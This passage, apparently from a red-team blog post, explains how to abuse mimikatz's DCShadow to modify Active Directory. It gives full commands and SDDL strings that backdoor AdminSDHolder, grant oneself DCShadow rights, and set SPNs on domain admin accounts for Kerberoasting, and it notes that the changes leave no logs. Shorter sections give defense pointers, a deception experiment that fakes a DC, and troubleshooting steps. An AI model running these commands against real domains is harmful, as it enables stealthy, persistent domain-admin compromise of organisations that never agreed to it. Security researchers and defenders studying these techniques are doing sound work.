mimikatz # lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;LCRPLORC;;;RU)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-519)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;PS)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-2111)"

DCShadow using DCShadow - Shadowception

Similar to above, we can also push DCShadow permissions using DCShadow.I call it Shadowception Why? Because it is fun :P We just need to push permissions listed above while introducing Set-DCShadowPermissions. The permissions required are:

On Domain object: (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;YourUserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;YourUserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;YourUserSID)

On attacker computer object: (A;;WP;;;YourUserSID)

On attacker user object: (A;;WP;;;YourUserSID)

On the Sites object in Configuration container: (A;CI;CCDC;;;YourUserSID)

Use the below mimikatz commands to set DCShadow permissions which can be used only from a particular computer as a specific user against a specific object - all of them specified in the commands. Please do not get intimidated with long commands, I have used exactly the same method as for AdminSDHolder - Copy the existing SDDL and append your own.

lsadump::dcshadow /stack /object:DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:ops-user12$ /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:helpdeskuser /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:CN=Sites,CN=Configuration,DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow

This is sweet! Now, if we maintain access to the computer and the user specified above, it is possible to modify the attributes of the specified object without leaving logs.

Setting SPNs on Admin Accounts for Kerberoasting

As explained by Sean here, in this technique we force set SPNs for admin accounts for later Kerberoasting. Kerberoasting, those of you who are unaware, is an attack technique where TGS (Ticket Granting Service) is requested for a SPN, saved to the disk and then brute-forced offline for password of the target SPNs service account. Thus if we can set SPN for a privileged account, it is possible to brute-force its password in clear-text using kerberoasting. To set SPNs for privileged account, we need high privileges, hence this is a persistence technique. Below command can be used to set SPN of a DA account using DCShadow:

mimikatz # lsadump::dcshadow /object:tempda /attribute:servicePrincipalName /value:"DCReplication/DC"

In addition to the above discussed, you can find your own attack. For example, I have not discussed setting TrustedForDelegation and TrustedToAuthForDelegation :) Go through the list of All AD attributes and find more interesting ones - https://msdn.microsoft.com/en-us/library/ms675090(v=vs.85).aspx

Defense
For defense, see dcshadow.com and UnCoverDCShadow. And limit the number of DAs and usage of DA credentials across your enterprise ;) A very good reference is Securing Privileged Access Reference Material.

 

DCShadow for Blue Team Deception

For past couple of months, I have been working a lot on using Deception for defense. I am liking Active Directory Deception because of its efficacy in providing alerts and increasing (at least) time costs to an adversary. While I will leave the details for another post and/or talk, one thing difficult for me when forging objects which are interesting for an attacker is editing some of the attributes of an object. For example, it is not easy to forge a computer object to make it look like a DC object. Multiple attributes and services must be set before a computer object "appears" to be a DC. There are some workarounds but that calls for another post or as I said a talk. So, DCShadow helps with forging a domain controller which looks more real. Of course, there is a lot of scope for improvement but I really like how it open up opportunities for blue teams.

A quick example is this. Suppose we want to make a member computer object "ops-user12" a DC. We can use the following (make sure you either have DA privs or set permission using Set-DCShadow permissions):

mimikatz # lsadump::dcshadow /object:ops-user12$ /attribute:primaryGroupID /value:516

Push the above

mimikatz # lsadump::dcshadow /object:ops-user12$ /attribute:userAccountControl /value:532480

Push the above

mimikatz # lsadump::dcshadow /manualregister

Use the above from mimikatz instance running as DA or modified permissions. Now, if an adversary enumerates your domain, this is what it looks like:

And this holds true for most of the red team tools (like PowerView which uses the .NET class in above screenshot) and even most of the WMI classes for domain enumeration like Win32_NTDomain and ds_computer of the directory\ldap namespace.

 

But this is still very experimental. We can easily note missing attributes from the fake DC, although that can be set. The thing which concerns me right now is if this breaks any authentication requests or other legit functioality. Because when using the "push" option of DCShadow, the registration and unregistration takes place quickly but when we are doing it manually what if some legit authentication requests are directed to the fake DC? I am hoping to find an answer of that soon.

I wish this use of DCShadow for deception triggers a community effort on using AD objects for deception :)

Problems
Some of the problems you may face while using DCShadow:

Insufficient Privileges
ERROR kuhl_m_lsadump_dcshadow_force_sync_partition ; IDL_DRSReplicaAdd
DC=whatever,DC=com 0x80090322 (2148074274)

If you get an error like above, make sure that mimkatz is running as SYSTEM (use !processtoken). Please refer to Executing DCShadow section above. 

Permission Errors
If you see an error during registration like  "Unable to add object via ldap". Then make sure that  you are "pushing" with DA privileges from mimikatz or you have set proper permissions. 

In some cases, when unregistration fails (see the video!), you may have to cleanup the object created in the CN=Servers in the Configuration Container and/or SPNs of the computer object which is registered as Fake DC. To clear SPNs I am using this simple command from the activedirectorymodule.

PS C:\> Set-ADComputer -ServicePrincipalNames $null -Identity ops-user12

PS C:\> Set-ADComputer -ServicePrincipalNames @{Add="WSMAN/ops-user12","WSMAN/ops-user12.offensiveps.com","TERMSRV/OPS-USER12","TERMSRV/ops-user12.offensiveps.com","RestrictedKrbHost/OPS-USER12","HOST/OPS-USER12","RestrictedKrbHost/ops-user12.offensiveps.com","HOST/ops-user12.offensiveps.com"} -Identity ops-user12

Here is a video showing the above attacks and deception.

Hope you enjoyed the post!